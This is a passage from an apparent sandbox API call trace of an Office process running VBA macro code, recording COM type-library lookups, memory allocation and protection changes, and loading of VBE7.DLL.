ppvObject=0x17c3e0*=0x0) returned 0x80004002 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c3b0 | out: ppvObject=0x17c3b0*=0x0) returned 0x80004002 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c3a0 | out: ppvObject=0x17c3a0*=0x0) returned 0x80004002 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c3a8 | out: ppvObject=0x17c3a8*=0x0) returned 0x80004002 [0068.744] ITypeInfo:RemoteGetTypeAttr (in: This=0xb563e98, ppTypeAttr=0x17c3d8, pDummy=0x10 | out: ppTypeAttr=0x17c3d8, pDummy=0x10) returned 0x0 [0068.744] ITypeInfo:LocalReleaseTypeAttr (This=0xb563e98) returned 0x0 [0068.744] IUnknown:AddRef (This=0xb563e98) returned 0x3 [0068.744] IUnknown:Release (This=0xb563e98) returned 0x2 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c5c8 | out: ppvObject=0x17c5c8*=0x0) returned 0x80004002 [0068.744] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c5c0 | out: ppvObject=0x17c5c0*=0x0) returned 0x80004002 [0068.744] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb563e98, ppTLib=0x17be00, pIndex=0x0 | out: ppTLib=0x17be00*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.744] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17be10, pDummy=0x0 | out: ppTLibAttr=0x17be10, pDummy=0x0) returned 0x0 [0068.744] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.745] IUnknown:Release (This=0xb55fe10) returned 0x7 [0068.745] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x17be00, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.745] strcpy_s (in: _Dst=0xaeb5d48, _DstSize=0x9, _Src="VBE7.DLL" | out: _Dst="VBE7.DLL") returned 0x0 [0068.745] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17be00, pbstrName=0x0, pwOrdinal=0x17be20 | out: pBstrDllName=0x17be00*=0x0, pbstrName=0x0, pwOrdinal=0x17be20*=0xc090) returned 0x0 [0068.745] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17be00, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17be00, pwOrdinal=0x500000000) returned 0x0 [0068.745] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb5830b0 [0068.745] IMalloc:Alloc (This=0x7fefecb5380, cb=0x26d) returned 0xb052570 [0068.745] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.745] IMalloc:GetSize (This=0x7fefecb5380, pv=0xb052570) returned 0x26d [0068.745] GetCurrentProcess () returned 0xffffffffffffffff [0068.745] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb052570, dwSize=0x43) returned 1 [0068.745] IMalloc:Free (This=0x7fefecb5380, pv=0xb052570) [0068.746] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb563e98, ppTLib=0x17c1d0, pIndex=0x0 | out: ppTLib=0x17c1d0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.746] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17c1e0, pDummy=0x0 | out: ppTLibAttr=0x17c1e0, pDummy=0x0) returned 0x0 [0068.746] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.746] IUnknown:Release (This=0xb55fe10) returned 0x7 [0068.746] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x17c1d0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.746] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17c1d0, pbstrName=0x0, pwOrdinal=0x17c1f0 | out: pBstrDllName=0x17c1d0*=0x0, pbstrName=0x0, pwOrdinal=0x17c1f0*=0xc460) returned 0x0 [0068.746] ITypeInfo:RemoteGetDllEntry (in: This=0xb563e98, memid=1610612745, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x17c1d0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x17c1d0, pwOrdinal=0x500000000) returned 0x0 [0068.747] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb1d4e00, cb=0x182) returned 0xb270ff0 [0068.747] IMalloc:Free (This=0x7fefecb5380, pv=0x7cd61b0) [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1139, dwSize=0x8) returned 1 [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1138, dwSize=0x8) returned 1 [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c1148, dwSize=0x2) returned 1 [0068.747] GetCurrentProcess () returned 0xffffffffffffffff [0068.747] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x51c119c, dwSize=0x45) returned 1 [0068.747] VirtualProtect (in: lpAddress=0x51c119c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17c54c | out: lpflOldProtect=0x17c54c*=0x40) returned 1 [0068.748] GetCurrentProcess () returned 0xffffffffffffffff [0068.748] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb63ac, dwSize=0x45) returned 1 [0068.748] VirtualProtect (in: lpAddress=0xaeb63ac, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x17c54c | out: lpflOldProtect=0x17c54c*=0x40) returned 1 [0068.749] GetCurrentProcess () returned 0xffffffffffffffff [0068.749] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6429, dwSize=0x8) returned 1 [0068.749] GetCurrentProcess () returned 0xffffffffffffffff [0068.749] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6428, dwSize=0x8) returned 1 [0068.749] GetCurrentProcess () returned 0xffffffffffffffff [0068.749] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6438, dwSize=0x2) returned 1 [0068.749] GetCurrentProcess () returned 0xffffffffffffffff [0068.749] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6490, dwSize=0x5d) returned 1 [0068.749] VirtualProtect (in: lpAddress=0xaeb6490, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x17c54c | out: lpflOldProtect=0x17c54c*=0x40) returned 1 [0068.750] GetCurrentProcess () returned 0xffffffffffffffff [0068.750] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6521, dwSize=0x8) returned 1 [0068.750] GetCurrentProcess () returned 0xffffffffffffffff [0068.750] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6520, dwSize=0x8) returned 1 [0068.750] GetCurrentProcess () returned 0xffffffffffffffff [0068.750] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb6530, dwSize=0x2) returned 1 [0068.750] GetCurrentProcess () returned 0xffffffffffffffff [0068.750] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb65fc, dwSize=0x55) returned 1 [0068.750] VirtualProtect (in: lpAddress=0xaeb65fc, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x17c54c | out: lpflOldProtect=0x17c54c*=0x40) returned 1 [0068.751] GetCurrentProcess () returned 0xffffffffffffffff [0068.751] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5444, dwSize=0x54) returned 1 [0068.751] RtlLookupFunctionEntry (in: ControlPc=0xaeb5444, ImageBase=0x17c438, HistoryTable=0x17c440 | out: ImageBase=0x17c438, HistoryTable=0x17c440) returned 0x0 [0068.751] VirtualProtect (in: lpAddress=0xaeb5444, dwSize=0x58, flNewProtect=0x40, lpflOldProtect=0x17c53c | out: lpflOldProtect=0x17c53c*=0x4) returned 1 [0068.752] RtlAddFunctionTable (FunctionTable=0xaeb54a8, EntryCount=0x1, BaseAddress=0xaeb5400, TargetGp=0x17c53c) returned 1 [0068.752] GetCurrentProcess () returned 0xffffffffffffffff [0068.752] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5cc0, dwSize=0x5c) returned 1 [0068.752] RtlLookupFunctionEntry (in: ControlPc=0xaeb5cc0, ImageBase=0x17c438, HistoryTable=0x17c440 | out: ImageBase=0x17c438, HistoryTable=0x17c440) returned 0x0 [0068.752] VirtualProtect (in: lpAddress=0xaeb5cc0, dwSize=0x60, flNewProtect=0x40, lpflOldProtect=0x17c53c | out: lpflOldProtect=0x17c53c*=0x40) returned 1 [0068.753] RtlAddFunctionTable (FunctionTable=0xaeb5d2c, EntryCount=0x1, BaseAddress=0xaeb5c00, TargetGp=0x17c53c) returned 1 [0068.753] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.753] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0068.753] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5900000 [0068.754] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001bca900000c60) returned 1 [0068.754] SetErrorMode (uMode=0x8001) returned 0x8001 [0068.755] GetProcAddress (hModule=0x7fee5900000, lpProcName=0x258) returned 0x7fee5a04ee0 [0068.755] GetCurrentProcess () returned 0xffffffffffffffff [0068.755] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xaeb5dbc, dwSize=0x43) returned 1 [0068.755] RtlLookupFunctionEntry (in: ControlPc=0xaeb5dbc, ImageBase=0x17c3d8, HistoryTable=0x17c3e0 | out: ImageBase=0x17c3d8, HistoryTable=0x17c3e0) returned 0x0 [0068.755] VirtualProtect (in: lpAddress=0xaeb5dbc, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x17c4dc | out: lpflOldProtect=0x17c4dc*=0x40) returned 1 [0068.757] RtlAddFunctionTable (FunctionTable=0xaeb5e0c, EntryCount=0x1, BaseAddress=0xaeb5d00, TargetGp=0x17c4dc) returned 1 [0068.757] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.757] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d908 | out: ppvObject=0x17d908*=0x0) returned 0x80004002 [0068.757] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d900 | out: ppvObject=0x17d900*=0x0) returned 0x80004002 [0068.757] IUnknown:Release (This=0xb481318) returned 0x2 [0068.757] IUnknown:AddRef (This=0xb481370) returned 0x6 [0068.757] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d908 | out: ppvObject=0x17d908*=0x0) returned 0x80004002 [0068.758] IUnknown:QueryInterface (in: This=0xb481370, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d900 | out: ppvObject=0x17d900*=0x0) returned 0x80004002 [0068.758] IUnknown:Release (This=0xb481370) returned 0x5 [0068.758] IUnknown:AddRef (This=0xb481268) returned 0x2 [0068.758] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d908 | out: ppvObject=0x17d908*=0x0) returned 0x80004002 [0068.758] IUnknown:QueryInterface (in: This=0xb481268, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d900 | out: ppvObject=0x17d900*=0x0) returned 0x80004002 [0068.758] IUnknown:Release (This=0xb481268) returned 0x1 [0068.758] IUnknown:AddRef (This=0xb563e98) returned 0x3 [0068.758] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d908 | out: ppvObject=0x17d908*=0x0) returned 0x80004002 [0068.758] IUnknown:QueryInterface (in: This=0xb563e98, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17d900 | out: ppvObject=0x17d900*=0x0) returned 0x80004002 [0068.758] IUnknown:Release (This=0xb563e98) returned 0x2 [0068.758] GetAsyncKeyState (vKey=27) returned 0 [0068.759] IMalloc:Alloc (This=0x7fefecb5380, cb=0x810) returned 0xb1d4e00 [0068.759] realloc (_Block=0x0, _Size=0xc0) returned 0xc439fa0 [0068.760] IUnknown:AddRef (This=0xb481318) returned 0x3 [0068.760] IUnknown:QueryInterface (in: This=0xb481318, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c208 | out: ppvObject=0x17c208*=0x0) returned 0x80004002 [0068.760] ITypeInfo:RemoteGetTypeAttr (in: This=0xb481318, ppTypeAttr=0x17c1e8, pDummy=0x10 | out: ppTypeAttr=0x17c1e8, pDummy=0x10) returned 0x0 [0068.760] ITypeInfo:LocalReleaseTypeAttr (This=0xb481318) returned 0x0 [0068.760] IUnknown:AddRef (This=0xb481318) returned 0x4 [0068.760] IUnknown:Release (This=0xb481318) returned 0x3 [0068.760] IUnknown:Release (This=0xb481318) returned 0x2 [0068.760] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b2133a, cbMultiByte=4, lpWideCharStr=0x17c1d0, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0068.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b2133a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0068.761] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b2133a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0068.761] ITypeComp:RemoteBind (in: This=0xaeffdb0, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b2133a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0068.761] ITypeComp:RemoteBind (in: This=0xb5603c0, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b2133a, cbMultiByte=4, lpWideCharStr=0x17c210, cchWideChar=5 | out: lpWideCharStr="Mid") returned 4 [0068.761] ITypeComp:RemoteBind (in: This=0xb560960, szName="Mid", lHashVal=0x10b3dc, wFlags=0x3, ppTInfo=0x17c1c8, pDescKind=0x17c1dc, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c1c8*=0x0, pDescKind=0x17c1dc*=0, ppFuncDesc=0x17c1e0, ppVarDesc=0x25629e0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.761] IMalloc:Alloc (This=0x7fefecb5380, cb=0xb) returned 0x7d9c170 [0068.761] _mbscpy_s (in: _Dst=0x7d9c170, _DstSizeInBytes=0x4, _Src=0x4b2133a | out: _Dst=0x7d9c170) returned 0x0 [0068.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0068.763] strcpy_s (in: _Dst=0x17c320, _DstSize=0xb, _Src="_B_var_Mid" | out: _Dst="_B_var_Mid") returned 0x0 [0068.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x17c320, cbMultiByte=11, lpWideCharStr=0x17c170, cchWideChar=11 | out: lpWideCharStr="_B_var_Mid") returned 11 [0068.763] IUnknown:AddRef (This=0xb55fe10) returned 0x8 [0068.763] ITypeLib:RemoteIsName (in: This=0xb55fe10, szNameBuf="_B_var_Mid", lHashVal=0x1070ed, pfName=0x17c240, pBstrLibName=0x17c170 | out: pfName=0x17c240*=1, pBstrLibName=0x17c170) returned 0x0 [0068.763] IUnknown:Release (This=0xb55fe10) returned 0x7 [0068.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="_B_var_Mid", cchWideChar=-1, lpMultiByteStr=0x17c320, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_B_var_Mid", lpUsedDefaultChar=0x0) returned 11 [0068.763] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="_B_var_Mid") returned 0x1070ed [0068.763] IUnknown:AddRef (This=0xb55fe10) returned 0x8 [0068.763] IUnknown:Release (This=0xb55fe10) returned 0x7 [0068.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4b22ff2, cbMultiByte=11, lpWideCharStr=0x17c1d0, cchWideChar=12 | out: lpWideCharStr="_B_var_Mid") returned 11 [0068.763] ITypeComp:RemoteBind (in: This=0xb55fe20, szName="_B_var_Mid", lHashVal=0x1070ed, wFlags=0x3, ppTInfo=0x17c188, pDescKind=0x17c19c, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x17c188*=0xb564418, pDescKind=0x17c19c*=1, ppFuncDesc=0x17c1a0, ppVarDesc=0x0, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0068.763] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564418, ppTypeAttr=0x17c190, pDummy=0x1 | out: ppTypeAttr=0x17c190, pDummy=0x1) returned 0x0 [0068.763] ITypeInfo:LocalReleaseTypeAttr (This=0xb564418) returned 0x0 [0068.763] IMalloc:Realloc (This=0x7fefecb5380, pv=0xb4e4410, cb=0x200) returned 0xb4d32f0 [0068.763] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca40f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x17bff0 | out: ppvObject=0x17bff0*=0xb564418) returned 0x0 [0068.763] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb564418, memid=1610612742, invkind=1, pFuncIndex=0x17c030 | out: pFuncIndex=0x17c030*=0x6) returned 0x0 [0068.764] ITypeInfo2:GetFuncCustData (in: This=0xb564418, index=0x6, GUID=0x7fee5cb3758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x17c048 | out: pVarVal=0x17c048*(varType=0x0, wReserved1=0x17, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x1070ed)) returned 0x0 [0068.764] IUnknown:Release (This=0xb564418) returned 0x1 [0068.764] IUnknown:AddRef (This=0xb564418) returned 0x2 [0068.764] ITypeInfo:LocalReleaseFuncDesc (This=0xb564418) returned 0x0 [0068.764] IUnknown:Release (This=0xb564418) returned 0x1 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c248 | out: ppvObject=0x17c248*=0x0) returned 0x80004002 [0068.764] IUnknown:AddRef (This=0xb564418) returned 0x2 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c280 | out: ppvObject=0x17c280*=0x0) returned 0x80004002 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c250 | out: ppvObject=0x17c250*=0x0) returned 0x80004002 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c240 | out: ppvObject=0x17c240*=0x0) returned 0x80004002 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c248 | out: ppvObject=0x17c248*=0x0) returned 0x80004002 [0068.764] ITypeInfo:RemoteGetTypeAttr (in: This=0xb564418, ppTypeAttr=0x17c278, pDummy=0x10 | out: ppTypeAttr=0x17c278, pDummy=0x10) returned 0x0 [0068.764] ITypeInfo:LocalReleaseTypeAttr (This=0xb564418) returned 0x0 [0068.764] IUnknown:AddRef (This=0xb564418) returned 0x3 [0068.764] IUnknown:Release (This=0xb564418) returned 0x2 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5ca5af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c468 | out: ppvObject=0x17c468*=0x0) returned 0x80004002 [0068.764] IUnknown:QueryInterface (in: This=0xb564418, riid=0x7fee5cb0b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x17c460 | out: ppvObject=0x17c460*=0x0) returned 0x80004002 [0068.764] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9c170) [0068.764] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb564418, ppTLib=0x17bca0, pIndex=0x0 | out: ppTLib=0x17bca0*=0xb55fe10, pIndex=0x0) returned 0x0 [0068.764] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x17bcb0, pDummy=0x0 | out: ppTLibAttr=0x17bcb0, pDummy=0x0) returned 0x0 [0068.764] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0068.764] IUnknown:Release (This=0xb55fe10) returned 0x9 [0068.765] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x17bca0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4fdf9f0*=0x5380) returned 0x0 [0068.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5cdd830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0068.765] ITypeInfo:RemoteGetDllEntry (in: This=0xb564418, memid=1610612742, invkind=1, refPtrFlags=0x0, pBstrDllName=0x17bca0, pbstrName=0x0, pwOrdinal=0x17bcc0 | out: pBstrDllName=0x17bca0*=0x0, pbstrName=0x0, pwOrdinal=0x17bcc0*=0xbf30) returned 0x0 [0068.765] 